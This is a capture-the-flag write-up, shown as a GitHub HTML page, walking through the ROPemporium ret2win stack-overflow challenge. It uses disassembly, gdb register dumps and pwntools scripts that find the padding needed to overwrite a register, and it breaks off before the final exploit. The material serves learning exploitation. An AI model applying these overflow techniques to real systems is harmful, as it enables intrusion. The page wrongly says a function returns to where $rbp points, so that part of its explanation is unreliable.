-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path2021-03-22-ropemporium-ret2win.html
774 lines (702 loc) Β· 35.1 KB
/
2021-03-22-ropemporium-ret2win.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
<!DOCTYPE html>
<html lang="en">
<head>
<!-- 2025-01-21 Tue 21:22 -->
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>ROPemporium | ret2win</title>
<meta name="author" content="C3lphie" />
<meta name="generator" content="Org Mode" />
<link rel="stylesheet" type="text/css" href="static/style.css" />
<script>
// @license magnet:?xt=urn:btih:1f739d935676111cfff4b4693e3816e664797050&dn=gpl-3.0.txt GPL-v3-or-Later
function CodeHighlightOn(elem, id)
{
var target = document.getElementById(id);
if(null != target) {
elem.classList.add("code-highlighted");
target.classList.add("code-highlighted");
}
}
function CodeHighlightOff(elem, id)
{
var target = document.getElementById(id);
if(null != target) {
elem.classList.remove("code-highlighted");
target.classList.remove("code-highlighted");
}
}
// @license-end
</script>
</head>
<body>
<div id="preamble" class="status">
<div class="header">
<a href="index.html">Home</a>
<a href="https://github.com/c3lphie">Github</a>
</div>
</div>
<div id="content" class="content">
<header>
<h1 class="title">ROPemporium | ret2win</h1>
</header><nav id="table-of-contents" role="doc-toc">
<h2>Table of Contents</h2>
<div id="text-table-of-contents" role="doc-toc">
<ul>
<li><a href="#org3df617e">1. Introduction</a>
<ul>
<li><a href="#orgc74b568">1.1. Buffer overflows</a></li>
<li><a href="#orgbeaeafa">1.2. Return Oriented Programming</a></li>
</ul>
</li>
<li><a href="#org8118ed6">2. Recon</a>
<ul>
<li><a href="#org2703272">2.1. File</a></li>
<li><a href="#org55b7bd4">2.2. Checksec</a></li>
<li><a href="#orgea6f49f">2.3. Reversing the binary</a>
<ul>
<li><a href="#org776d32d">2.3.1. Main function</a></li>
<li><a href="#orgaeaee34">2.3.2. pwnme function</a></li>
<li><a href="#org4392811">2.3.3. ret2win function</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#orgbde9319">3. Exploit</a>
<ul>
<li><a href="#org194c011">3.1. Overflowing the buffer</a>
<ul>
<li><a href="#org1036c49">3.1.1. Cyclic patterns</a></li>
</ul>
</li>
<li><a href="#orgc7c1bac">3.2. Useful addresses</a></li>
<li><a href="#org412748c">3.3. Final exploit</a></li>
</ul>
</li>
<li><a href="#orgbc6e4f2">4. Conclusion</a></li>
<li><a href="#orgf20d1cc">5. Final words</a></li>
</ul>
</div>
</nav>
<div id="outline-container-org3df617e" class="outline-2">
<h2 id="org3df617e"><span class="section-number-2">1.</span> Introduction</h2>
<div class="outline-text-2" id="text-1">
<p>
Welcome to this little write-up on the very first challenge from <a href="https://ropemporium.com">ROPemporium</a>.<br>
</p>
<p>
ROPemporium is a platform for learning the mystic art of return-oriented programming(ROP).<br>
This is accomplished by going through 8 challenges in total, with increasing diffyculty.<br>
</p>
<p>
But before we begin this little eight-part adventure, let's take a closer look at what ROP is for a thing.<br>
</p>
</div>
<div id="outline-container-orgc74b568" class="outline-3">
<h3 id="orgc74b568"><span class="section-number-3">1.1.</span> Buffer overflows</h3>
<div class="outline-text-3" id="text-1-1">
<p>
I know that I just said i would explain ROP, but before we get into that.<br>
Let us quickly brushup on what a buffer overflow is.<br>
</p>
<p>
According to the very first paragraph on <a href="https://en.wikipedia.org/wiki/Buffer_overflow">wikipedia</a>:<br>
</p>
<blockquote>
<p>
In information security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations.<br>
</p>
</blockquote>
<p>
So buffer overflows happens when it is possible to put more data into a variable thereby overwriting other memory adresses.<br>
</p>
<p>
But why is this dangerous??<br>
</p>
<p>
Because we can manipulate the content in the different registers.<br>
And through this execute abitriary code.<br>
</p>
<p>
Again this was a veeeery short overview, if you want to read more about buffer overflows, and I recommend that you do, here is a list of resources on the subject:<br>
</p>
<dl class="org-dl">
<dt><a href="https://blog.rapid7.com/2019/02/19/stack-based-buffer-overflow-attacks-what-you-need-to-know/">Rapid7 - Stack-Based</a></dt><dd>Explained with Examples<br></dd>
<dt><a href="https://0xrick.github.io/">0xrick</a></dt><dd>Look at his basic binary series<br></dd>
<dt><a href="https://github.com/Tzaoh/pwning">Tzaoh's pwning list</a></dt><dd>Huge list of resources on all kinds of exploitation<br></dd>
<dt><a href="https://pwn.college/">pwn.college</a></dt><dd>A free and opensource exploitation course<br></dd>
</dl>
<p>
Eventually I'll create a series focused just on buffer overflows, but for now you'll have to make do.<br>
</p>
</div>
</div>
<div id="outline-container-orgbeaeafa" class="outline-3">
<h3 id="orgbeaeafa"><span class="section-number-3">1.2.</span> Return Oriented Programming</h3>
<div class="outline-text-3" id="text-1-2">
<p>
Again we look towards Wikipedia for more knowledge.<br>
The first paragraph on <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">Wikipedia</a>:<br>
</p>
<blockquote>
<p>
Return-oriented programming (ROP) is a computer security exploit technique that allows an attacker to execute code in the presence of security defenses such as executable space protection and code signing.<br>
</p>
</blockquote>
<p>
The basic principle for ROP is that we can control which function we return to when we land on a <code>ret</code> instruction.<br>
There is also the topic of gadgets, but I'll explain that in the <code>split</code> write-up.<br>
</p>
<p>
But how does one control which the software will return to?<br>
</p>
<p>
That is exactly what this challenge is about.<br>
</p>
</div>
</div>
</div>
<div id="outline-container-org8118ed6" class="outline-2">
<h2 id="org8118ed6"><span class="section-number-2">2.</span> Recon</h2>
<div class="outline-text-2" id="text-2">
<p>
Before anything is done you should always to some reconnaissance on your target.<br>
The more you know about the target, the easier it will be to model an attack towards it.<br>
</p>
</div>
<div id="outline-container-org2703272" class="outline-3">
<h3 id="org2703272"><span class="section-number-3">2.1.</span> File</h3>
<div class="outline-text-3" id="text-2-1">
<p>
The first thing you should do with any compiled binary that you want to pwn(professionel language for defeating security), is to run the <code>file</code> command on the the binary.<br>
</p>
<pre class="example" id="orgb7e061c">
βββββ[~/ha/bi/ropemporium/ret2win on ξ master [?]
ββ>file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped
</pre>
<p>
What this tells us is that the binary <code>ret2win</code> is a 64-bit ELF file.<br>
</p>
<p>
It is not stripped, which means that if there is any debugging information in the code, we should be able to see it.<br>
It also means symbols are left in so we can see function names.<br>
</p>
</div>
</div>
<div id="outline-container-org55b7bd4" class="outline-3">
<h3 id="org55b7bd4"><span class="section-number-3">2.2.</span> Checksec</h3>
<div class="outline-text-3" id="text-2-2">
<p>
After looking at what <code>file</code> gives outputs, the next nifty tool we should use is: <code>checksec</code>.<br>
It is a part of <code>pwntools</code>, <a href="https://github.com/Gallopsled/pwntools">a CTF framework and exploit development library</a>, and can tell us about what kind of security measures that the binary is compiled with.<br>
</p>
<pre class="example" id="org9a49c35">
βββββ[~/ha/bi/ropemporium/ret2win on ξ master [?]
ββ>checksec ret2win
[*] '/home/c3lphie/hacking/binary_exploitation/ropemporium/ret2win/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
</pre>
<p>
Here we see that there is basically no security measures put in place… Which one would expect on the very first challenge.<br>
But what is it that we see here?<br>
</p>
<dl class="org-dl">
<dt>Arch</dt><dd>This is the Architecture for which the binary was compiled for. In this case we see that it is <code>amd64-64-little</code> I'll break this down further in a minute.<br></dd>
<dt>RELRO</dt><dd>A security measure which makes some binary sections read-only. Partial RELRO means basically nothing for us. Full RELRO is a lot more secure, but I'll tackle this when I encounter it.<br></dd>
<dt>Stack</dt><dd>This tells us if there are any canaries compiled into the binary. Canaries are a security measure that protect from stack smashing attacks… Like what we're doing here. Not that they can't be handled<br></dd>
<dt>NX</dt><dd>A technology which splits the areas of memory up so that data can't be executed. This is the security measure we bypass using ROP<br></dd>
<dt>PIE</dt><dd>If this was enabled, the binary would have been loaded randomly into memory making it harder to exploit. But this is not something we need to worry about.<br></dd>
</dl>
<p>
The architecture this binary was compiled for was <code>amd64-64-little</code>, let's split this up into two.<br>
<code>amd64-64</code> means that it's for a 64 bit system.<br>
<code>-little</code> tells us that is for a little endian system.<br>
Which you can read more about <a href="https://www.section.io/engineering-education/what-is-little-endian-and-big-endian/">here</a>.<br>
</p>
</div>
</div>
<div id="outline-container-orgea6f49f" class="outline-3">
<h3 id="orgea6f49f"><span class="section-number-3">2.3.</span> Reversing the binary</h3>
<div class="outline-text-3" id="text-2-3">
<p>
Now there are probably a ton of other tools that you could use to find other things about the binary.<br>
But at this point I know enough about the target for now.<br>
</p>
<p>
I have chosen <a href="https://binary.ninja/">Binary ninja</a> for reverse engineering software.<br>
But use what-ever you're most comfortable in, and if you don't have the economy to buy a piece of software, then there are opensource software available like <a href="https://cutter.re/">cutter</a> or <a href="https://ghidra-sre.org/">ghidra</a>(if you're not afraid of the NSA ;)).<br>
</p>
</div>
<div id="outline-container-org776d32d" class="outline-4">
<h4 id="org776d32d"><span class="section-number-4">2.3.1.</span> Main function</h4>
<div class="outline-text-4" id="text-2-3-1">
<div class="org-src-container">
<label class="org-src-name"><span class="listing-number">Listing 1: </span>main function disassembled</label><pre class="src src-asm"><span class="org-function-name">push</span> <span class="org-keyword">rbp</span> {__saved_rbp}
<span class="org-function-name">mov</span> <span class="org-keyword">rbp</span>, rsp {__saved_rbp}
<span class="org-function-name">mov</span> <span class="org-keyword">rax</span>, qword [rel stdout]
<span class="org-function-name">mov</span> <span class="org-keyword">ecx</span>, 0x0
<span class="org-function-name">mov</span> <span class="org-keyword">edx</span>, 0x2
<span class="org-function-name">mov</span> <span class="org-keyword">esi</span>, 0x0
<span class="org-function-name">mov</span> <span class="org-keyword">rdi</span>, rax
<span class="org-function-name">call</span> <span class="org-keyword">setvbuf</span>
<span class="org-function-name">mov</span> <span class="org-keyword">edi</span>, 0x400808 {<span class="org-string">"ret2win by ROP Emporium"</span>}
<span class="org-function-name">call</span> <span class="org-keyword">puts</span>
<span class="org-function-name">mov</span> <span class="org-keyword">edi</span>, 0x400820 {<span class="org-string">"x86_64\n"</span>}
<span class="org-function-name">call</span> <span class="org-keyword">puts</span>
<span class="org-function-name">mov</span> <span class="org-keyword">eax</span>, 0x0
<span class="org-function-name">call</span> <span class="org-keyword">pwnme</span>
<span class="org-function-name">mov</span> <span class="org-keyword">edi</span>, 0x400828 {<span class="org-string">"\nExiting"</span>}
<span class="org-function-name">call</span> <span class="org-keyword">puts</span>
<span class="org-function-name">mov</span> <span class="org-keyword">eax</span>, 0x0
<span class="org-function-name">pop</span> <span class="org-keyword">rbp</span> {__saved_rbp}
<span class="org-function-name">retn</span> {__return_addr}
</pre>
</div>
<p>
Here we see the main function disassembled, there isn't anything interesting to see.<br>
What we want is the function pwnme, which is called on line 14.<br>
So let's take a look at that instead shall we?<br>
</p>
</div>
</div>
<div id="outline-container-orgaeaee34" class="outline-4">
<h4 id="orgaeaee34"><span class="section-number-4">2.3.2.</span> pwnme function</h4>
<div class="outline-text-4" id="text-2-3-2">
<div class="org-src-container">
<label class="org-src-name"><span class="listing-number">Listing 2: </span>pwnme function disassembled</label><pre class="src src-asm"><span class="org-function-name">push</span> <span class="org-keyword">rbp</span> {__saved_rbp}
<span class="org-function-name">mov</span> <span class="org-keyword">rbp</span>, rsp {__saved_rbp}
<span class="org-function-name">sub</span> <span class="org-keyword">rsp</span>, 0x20
<span class="org-function-name">lea</span> <span class="org-keyword">rax</span>, [rbp-0x20 {var_28}]
<span class="org-function-name">mov</span> <span class="org-keyword">edx</span>, 0x20
<span class="org-function-name">mov</span> <span class="org-keyword">esi</span>, 0x0
<span class="org-function-name">mov</span> <span class="org-keyword">rdi</span>, rax {var_28}
<span class="org-function-name">call</span> <span class="org-keyword">memset</span>
<span class="org-function-name">mov</span> <span class="org-keyword">edi</span>, 0x400838 {<span class="org-string">"For my first trick, I will attem…"</span>}
<span class="org-function-name">call</span> <span class="org-keyword">puts</span>
<span class="org-function-name">mov</span> <span class="org-keyword">edi</span>, 0x400898 {<span class="org-string">"What could possibly go wrong?"</span>}
<span class="org-function-name">call</span> <span class="org-keyword">puts</span>
<span class="org-function-name">mov</span> <span class="org-keyword">edi</span>, 0x4008b8 {<span class="org-string">"You there, may I have your input…"</span>}
<span class="org-function-name">call</span> <span class="org-keyword">puts</span>
<span class="org-function-name">mov</span> <span class="org-keyword">edi</span>, 0x400918
<span class="org-function-name">mov</span> <span class="org-keyword">eax</span>, 0x0
<span class="org-function-name">call</span> <span class="org-keyword">printf</span>
<span class="org-function-name">lea</span> <span class="org-keyword">rax</span>, [rbp-0x20 {var_28}]
<span class="org-function-name">mov</span> <span class="org-keyword">edx</span>, 0x38
<span class="org-function-name">mov</span> <span class="org-keyword">rsi</span>, rax {var_28}
<span class="org-function-name">mov</span> <span class="org-keyword">edi</span>, 0x0
<span class="org-function-name">call</span> <span class="org-keyword">read</span>
<span class="org-function-name">mov</span> <span class="org-keyword">edi</span>, 0x40091b {<span class="org-string">"Thank you!"</span>}
<span class="org-function-name">call</span> <span class="org-keyword">puts</span>
<span class="org-function-name">nop</span>
<span class="org-function-name">leave</span> {__saved_rbp}
<span class="org-function-name">retn</span> {__return_addr}
</pre>
</div>
<p>
Since this is the function, which should be pwned, lets take a closer look using binary ninjas HLIL.<br>
I know I shouldn't rely on it, but I'm still learning so yeah.<br>
</p>
<div class="org-src-container">
<label class="org-src-name"><span class="listing-number">Listing 3: </span>pwnme function HLIL</label><pre class="src src-c"><span class="org-type">void</span> <span class="org-variable-name">var_28</span>
memset(&var_28, 0, 0x20)
<span class="org-function-name">puts</span>(str: <span class="org-string">"For my first trick, I will attem…"</span>)
<span class="org-function-name">puts</span>(str: <span class="org-string">"What could possibly go wrong?"</span>)
<span class="org-function-name">puts</span>(str: <span class="org-string">"You there, may I have your input…"</span>)
<span class="org-function-name">printf</span>(format: data_400918)
<span class="org-function-name">read</span>(fd: 0, buf: &var_28, nbytes: 0x38)
<span class="org-keyword">return</span> puts(str: <span class="org-string">"Thank you!"</span>)
</pre>
</div>
<p>
Let's clean it up a bit for easier understanding:<br>
</p>
<div class="org-src-container">
<label class="org-src-name"><span class="listing-number">Listing 4: </span>pwnme function HLIL with var names</label><pre class="src src-c"><span class="org-type">void</span> <span class="org-variable-name">buffer</span>
memset(&buffer, 0, 32)
<span class="org-function-name">puts</span>(str: <span class="org-string">"For my first trick, I will attem…"</span>)
<span class="org-function-name">puts</span>(str: <span class="org-string">"What could possibly go wrong?"</span>)
<span class="org-function-name">puts</span>(str: <span class="org-string">"You there, may I have your input…"</span>)
<span class="org-function-name">printf</span>(format: data_400918)
<span class="org-function-name">read</span>(fd: 0, buf: &buffer, nbytes: 56)
<span class="org-keyword">return</span> puts(str: <span class="org-string">"Thank you!"</span>)
</pre>
</div>
<p>
As we can see we have a buffer with the size 32 bytes, but the read call accepts up to 56 bytes.<br>
This means that we can overflow the buffer and control the stack.<br>
But how should we control the stack?<br>
</p>
<p>
Well if you look at the last two lines of the disassembly version of <code>pwnme</code><br>
</p>
<div class="org-src-container">
<pre class="src src-asm"><span class="org-function-name">leave</span> {__saved_rbp}
<span class="org-function-name">retn</span> {__return_addr}
</pre>
</div>
<p>
If we somehow managed to overwrite <code>__return_addr</code> we potentially have the ability to make arbitrary code calls.<br>
</p>
</div>
</div>
<div id="outline-container-org4392811" class="outline-4">
<h4 id="org4392811"><span class="section-number-4">2.3.3.</span> ret2win function</h4>
<div class="outline-text-4" id="text-2-3-3">
<div class="org-src-container">
<label class="org-src-name"><span class="listing-number">Listing 5: </span>ret2win function disassembled</label><pre class="src src-asm"><span class="org-function-name">push</span> <span class="org-keyword">rbp</span> {__saved_rbp}
<span class="org-function-name">mov</span> <span class="org-keyword">rbp</span>, rsp {__saved_rbp}
<span class="org-function-name">mov</span> <span class="org-keyword">edi</span>, 0x400926 {<span class="org-string">"Well done! Here's your flag:"</span>}
<span class="org-function-name">call</span> <span class="org-keyword">puts</span>
<span class="org-function-name">mov</span> <span class="org-keyword">edi</span>, 0x400943 {<span class="org-string">"/bin/cat flag.txt"</span>}
<span class="org-function-name">call</span> <span class="org-keyword">system</span>
<span class="org-function-name">nop</span>
<span class="org-function-name">pop</span> <span class="org-keyword">rbp</span> {__saved_rbp}
<span class="org-function-name">retn</span> {__return_addr}
</pre>
</div>
<p>
This is the function we must aim the <code>ret</code> instruction towards in the <code>pwnme</code> function<br>
</p>
<p>
And as we can see it just executes <code>/bin/cat flag.txt</code> on the system.<br>
</p>
</div>
</div>
</div>
</div>
<div id="outline-container-orgbde9319" class="outline-2">
<h2 id="orgbde9319"><span class="section-number-2">3.</span> Exploit</h2>
<div class="outline-text-2" id="text-3">
<p>
When writing the actual exploit I used 3 tools: <code>emacs</code>, a <code>terminal</code> and <code>gdb</code>.<br>
The first one being my text editor ;), the second is pretty self explanatory and the last is Gnu Debugger.<br>
</p>
</div>
<div id="outline-container-org194c011" class="outline-3">
<h3 id="org194c011"><span class="section-number-3">3.1.</span> Overflowing the buffer</h3>
<div class="outline-text-3" id="text-3-1">
<p>
As I wrote earlier we need to do a bufferoverflow.<br>
We know that from Binary Ninja that we have an input buffer that is 32 bytes long.<br>
But the <code>read</code> function can read up to 56 bytes into the buffer.<br>
</p>
<p>
So lets see what happen if we put a bunch of data into the buffer!<br>
</p>
<pre class="example" id="org3b991c6">
βββββ[~/ha/bi/ropemporium/ret2win on ξ master [?]
ββ>./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you!
zsh: segmentation fault (core dumped) ./ret2win
</pre>
<p>
And we crashed!<br>
But why?<br>
</p>
<p>
If we try again, but run <code>ret2win</code> with <code>gdb</code> attached we can see what happens to the registers.<br>
I have set a break point on the <code>leave</code> instruction just before the <code>ret</code> instruction.<br>
And a couple of instructions before the <code>read</code> call.<br>
</p>
<p>
If we look at the registers before <code>read</code>.<br>
</p>
<pre class="example" id="org12b3a50">
[ Legend: Modified register | Code | Heap | Stack | String ]
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x2
$rbx : 0x0000000000400780 β <__libc_csu_init+0> push r15
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007fffffffe040 β 0x0000000000000000
$rbp : 0x00007fffffffe060 β 0x00007fffffffe070 β 0x0000000000000000
$rsi : 0x00007fffffffbf20 β 0x000000000000203e ("> "?)
$rdi : 0x00007ffff7f8f4d0 β 0x0000000000000000
$rip : 0x0000000000400733 β <pwnme+75> lea rax, [rbp-0x20]
$r8 : 0x60
$r9 : 0x00007ffff7fdc070 β <_dl_fini+0> endbr64
$r10 : 0x0000000000400918 β 0x6b6e61685400203e ("> "?)
$r11 : 0x246
$r12 : 0x00000000004005b0 β <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
</pre>
<p>
The two registers we are interested in are <code>$rsp</code> and <code>$rbp</code>.<br>
</p>
<p>
<code>$rsp</code> is the stack pointer, it points to addresses in the stack where the buffer is stored.<br>
<code>$rbp</code> is the base pointer, it points to the memory address which is the "base" for the function.<br>
When returning from a function, we will land where <code>$rbp</code> points to.<br>
</p>
<p>
So lets crash this program!<br>
</p>
<pre class="example" id="org060efc2">
gefβ€ run
Starting program: /home/c3lphie/hacking/binary_exploitation/ropemporium/ret2win/ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</pre>
<p>
Here I just run it in GDB, and wrote a bunch of A's before hitting enter.<br>
Don't mind the gefβ€ prompt, that is just a gdb extension which makes exploit development easier.<br>
</p>
<p>
Below you can see the content of the registers after the crash.<br>
</p>
<pre class="example" id="orga3e4df0">
[ Legend: Modified register | Code | Heap | Stack | String ]
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0xb
$rbx : 0x0000000000400780 β <__libc_csu_init+0> push r15
$rcx : 0x00007ffff7ebb0f7 β 0x5177fffff0003d48 ("H="?)
$rdx : 0x0
$rsp : 0x00007fffffffe040 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbp : 0x00007fffffffe060 β 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x00007ffff7f8d5a3 β 0xf8f4d0000000000a
$rdi : 0x00007ffff7f8f4d0 β 0x0000000000000000
$rip : 0x0000000000400754 β <pwnme+108> leave
$r8 : 0xb
$r9 : 0x00007ffff7fdc070 β <_dl_fini+0> endbr64
$r10 : 0xfffffffffffffb8b
$r11 : 0x246
$r12 : 0x00000000004005b0 β <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
</pre>
<p>
The hexadecimal value for A is 0x41 when ascii encoded.<br>
And as you can see we managed to overwrite <code>$rbp</code>, so now we just need to control <code>$rbp</code> to point to the <code>ret2win</code> function.<br>
</p>
<p>
To do this we need to figure out how much data to insert before address.<br>
</p>
</div>
<div id="outline-container-org1036c49" class="outline-4">
<h4 id="org1036c49"><span class="section-number-4">3.1.1.</span> Cyclic patterns</h4>
<div class="outline-text-4" id="text-3-1-1">
<p>
Using cyclic patterns, we can relatively easy find the padding length of our payload.<br>
</p>
<div class="org-src-container">
<pre class="src src-python"><span class="org-py-import-from">from</span> pwn <span class="org-py-import-from">import</span> *
context.update(arch=<span class="org-string">"amd64"</span>, os=<span class="org-string">"linux"</span>)
<span class="org-py-variable-name">proc</span> = process(<span class="org-string">"./ret2win"</span>)
gdb.attach(proc, <span class="org-string">"""</span>
<span class="org-string">b pwnme"""</span>)
<span class="org-py-def-class">def</span> <span class="org-py-def">send_recv</span>(<span class="org-py-builtins">buffer</span>: <span class="org-py-builtins">bytes</span>):
proc.recvuntil(b<span class="org-string">">"</span>)
proc.sendline(<span class="org-py-builtins">buffer</span>)
<span class="org-keyword">return</span> proc.recvline()
<span class="org-py-variable-name">payload</span> = cyclic(<span class="org-py-number">56</span>)
send_recv(payload)
proc.interactive()
</pre>
</div>
<p>
Here I used the <code>cyclic</code> function, from pwntools, to generate a 56 character long <a href="https://en.wikipedia.org/wiki/De_Bruijn_sequence">de Bruijn sequence</a>.<br>
Which we can use to find our padding length<br>
</p>
<p>
The above script also attaches gdb, so we can find the pattern in the registers and use that in our exploit.<br>
</p>
<pre class="example" id="org4426b76">
[ Legend: Modified register | Code | Heap | Stack | String ]
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0xb
$rbx : 0x0000000000400780 β <__libc_csu_init+0> push r15
$rcx : 0x00007fc84be920f7 β 0x5177fffff0003d48 ("H="?)
$rdx : 0x0
$rsp : 0x00007ffdaa836178 β 0x6161616c6161616b ("kaaalaaa"?)
$rbp : 0x6161616a61616169 ("iaaajaaa"?)
$rsi : 0x00007fc84bf645a3 β 0xf664d0000000000a
$rdi : 0x00007fc84bf664d0 β 0x0000000000000000
$rip : 0x0000000000400755 β <pwnme+109> ret
$r8 : 0xb
$r9 : 0x00007fc84bfad070 β <_dl_fini+0> endbr64
$r10 : 0xfffffffffffffb8b
$r11 : 0x246
$r12 : 0x00000000004005b0 β <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
</pre>
<p>
And as you can see <code>$rbp</code> has some sort of weird string.<br>
If we use the function <code>cyclic_find</code> in conjunction with <code>cyclic</code> we can find the padding for the exploit.<br>
</p>
<div class="org-src-container">
<pre class="src src-python"><span class="org-py-import-from">from</span> pwn <span class="org-py-import-from">import</span> *
context.update(arch=<span class="org-string">"amd64"</span>, os=<span class="org-string">"linux"</span>)
<span class="org-py-variable-name">proc</span> = process(<span class="org-string">"./ret2win"</span>)
gdb.attach(proc, <span class="org-string">"""</span>
<span class="org-string">b pwnme"""</span>)
<span class="org-py-def-class">def</span> <span class="org-py-def">send_recv</span>(<span class="org-py-builtins">buffer</span>: <span class="org-py-builtins">bytes</span>):
proc.recvuntil(b<span class="org-string">">"</span>)
proc.sendline(<span class="org-py-builtins">buffer</span>)
<span class="org-keyword">return</span> proc.recvline()
<span class="org-py-variable-name">payload</span> = cyclic(cyclic_find(0x61616169))
<span class="org-py-variable-name">payload</span> += p64(0xdeadbeefcafebabe)
send_recv(payload)
proc.interactive()
</pre>
</div>
<p>
If we concentrate on the payload, we see that we first calculate our padding.<br>
After that we add <code>0xdeadbeecafebabe</code> to ensure that we indeed do have control over <code>$rbp</code>.<br>
</p>
<pre class="example" id="orgb9716cc">
[ Legend: Modified register | Code | Heap | Stack | String ]
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0xb
$rbx : 0x0000000000400780 β <__libc_csu_init+0> push r15
$rcx : 0x00007fa3497a50f7 β 0x5177fffff0003d48 ("H="?)
$rdx : 0x0
$rsp : 0x00007fffb9d3f2d0 β 0x0000000000000000
$rbp : 0xdeadbeefcafebabe
$rsi : 0x00007fa3498775a3 β 0x8794d0000000000a
$rdi : 0x00007fa3498794d0 β 0x0000000000000000
$rip : 0x000000000040060a β <deregister_tm_clones+26> or eax, 0x1058bf5d
$r8 : 0xb
$r9 : 0x00007fa3498c0070 β <_dl_fini+0> endbr64
$r10 : 0xfffffffffffffb8b
$r11 : 0x246
